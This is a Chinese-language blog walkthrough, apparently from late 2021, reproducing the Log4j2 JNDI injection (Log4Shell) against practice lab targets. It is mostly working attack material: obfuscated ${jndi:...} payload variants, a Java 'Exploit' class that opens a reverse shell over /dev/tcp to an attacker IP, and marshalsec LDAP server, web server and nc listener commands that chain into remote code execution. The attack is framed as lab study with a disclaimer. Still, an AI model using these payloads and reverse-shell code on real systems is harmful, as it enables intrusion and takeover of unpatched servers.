0X00-引言
過年了,放炮
這個漏洞真牛逼,日天,日地,日空氣
2021年12月10日凌晨,我正坐在馬桶上,突然看到廁紙上面出現一串神秘代碼${jndi:ldap://kao5b1ig.ns.dns3.cf.}
,我趕緊起身,打開電腦一看,網頁dnslog彈出記錄,我大驚,緊接着,我的手機,耳機,甚至我的台燈都彈出這串神秘代碼。我踉蹌的后退一步,心中默念,完了,完了,世界將長久苦於這串代碼。
僅供學習參考,不得用於違法途徑,一切行為與博主無關
0X01-環境搭建
靶場:
http://d63bb2586.lab.aqlab.cn/
CentOS7
vulfocus
攻擊機:kali VPS
工具:burpsuite marshalsec-0.0.3-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下文有下載鏈接
0X02-漏洞描述
360漏洞雲:https://mp.weixin.qq.com/s/V4oSpmdIrlxPSsrpUXMNLA
Apache Log4j 是 Apache 的一個開源項目,Apache Log4j2是一個基於Java的日志記錄工具。該工具重寫了Log4j框架,並且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制台、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細致地控制日志的生成過程。該日志框架被大量用於業務系統開發,用來記錄日志信息。
Log4j-2中存在JNDI注入漏洞,當程序將用戶輸入的數據被日志記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標服務器上執行任意代碼。
經360漏洞雲安全專家研判,log4j2是全球使用廣泛的java日志框架,同時該漏洞還影響很多全球使用量的Top序列的通用開源組件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。該漏洞利用方式簡單,危害嚴重,官方已經發布該產品的最新版本,建議用戶盡快升級組件,修復緩解該漏洞。Apache Log4j 是 Apache 的一個開源項目,Apache Log4j2是一個基於Java的日志記錄工具。該工具重寫了Log4j框架,並且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制台、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細致地控制日志的生成過程。該日志框架被大量用於業務系統開發,用來記錄日志信息。
payload變種
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
0X03-漏洞復現
01-CentOS搭建靶場反彈shell
01-搭建靶場和下載工具
參考:https://github.com/fengxuangit/log4j_vuln
下載工具:后面用
https://github.com/RandomRobbieBF/marshalsec-jar
靶場搭建-大佬寫的-直接在虛擬機運行以下命令就可以
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
訪問:http://192.168.234.128:8080/webstudy/hello-fengxuan
burp抓包修改為POST方法
02-編寫惡意類-開啟Web服務
EXP:注意反彈shell用bash -i >& /dev/tcp/ip/port 0>&1
不可以,需要用exec
public class Exploit {
public Exploit(){
try{
// 要執行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
javac編譯-我把下載的工具都放在一個文件夾內
開啟web服務
python3 -m http.server 888 #python3中開啟web服務
python -m SimpleHTTPServer 888 #python2
訪問
03-工具開啟LDAP服務
映射端口888為1234
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.234.135:888/#Exploit" 1234
04-反彈shell
開啟nc監聽
nc -lvvp 12345
burp修改包添加payload-發送
POST參數為c
c=${jndi:ldap://192.168.234.135:1234/Exploit}
成功彈出shell
02-掌控安全靶場反彈shell
使用VPS做攻擊機
靶場:http://d63bb2586.lab.aqlab.cn/若是關閉了-自己進入掌控安全首頁開啟-之前的靶場-可以用
01-dnslog記錄
POC:
${jndi:ldap://example.com}
打開DNSLOG平台:https://dns.咕.com/ 或 dnslog.cn/
打開靶場:http://d63bb2586.lab.aqlab.cn/
點擊提交
DNS平台出現記錄-驗證漏洞存在
02-靶場反彈shell
EXP:注意修改IP
public class Exploit {
public Exploit(){
try{
// 要執行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
VPS執行命令-和kali流程一樣
上傳文件-編譯
python -m SimpleHTTPServer 888 #開啟web服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:888/#Exploit" 1234 #開啟LDAP服務
nc -lvvp 12345 #監聽
payload:
${jndi:ldap://VPSIP:1234/Exploit}
成功彈出shell
03-vulfocus靶場反彈shell
攻擊機VPS-和上面操作有些區別
此種操作不適合上面兩個靶場-個人感覺原因是惡意類中反彈shell命令不一樣-但是我把命令更換之后還是不行,淦
換一種工具下載鏈接如下
https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
01-進入靶場
02-反彈shell命令編碼
網站:https://www.jackson-t.ca/runtime-exec-payloads.html
03-VPS執行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "以上編碼后的命令放入這里" -A "VPSIP"
上圖生成紫紅色的鏈接每個都試一下
開啟監聽
burp抓包-修改-發送
04-反彈成功
0X04-工具檢測
0X05-免責聲明
僅供學習參考,勿用於非法用途!
一切的一切與本作者無關
0X06-失敗原因
JDK版本有問題
彈不了shell可能因為防火牆,也可能因為惡意類中反彈shell命令
0X07-參考
https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ
https://zhuanlan.zhihu.com/p/443640671
https://github.com/fengxuangit/log4j_vuln
https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ
https://mp.weixin.qq.com/s/FOFLY4kDb42LGcEHN0vKmQ
https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html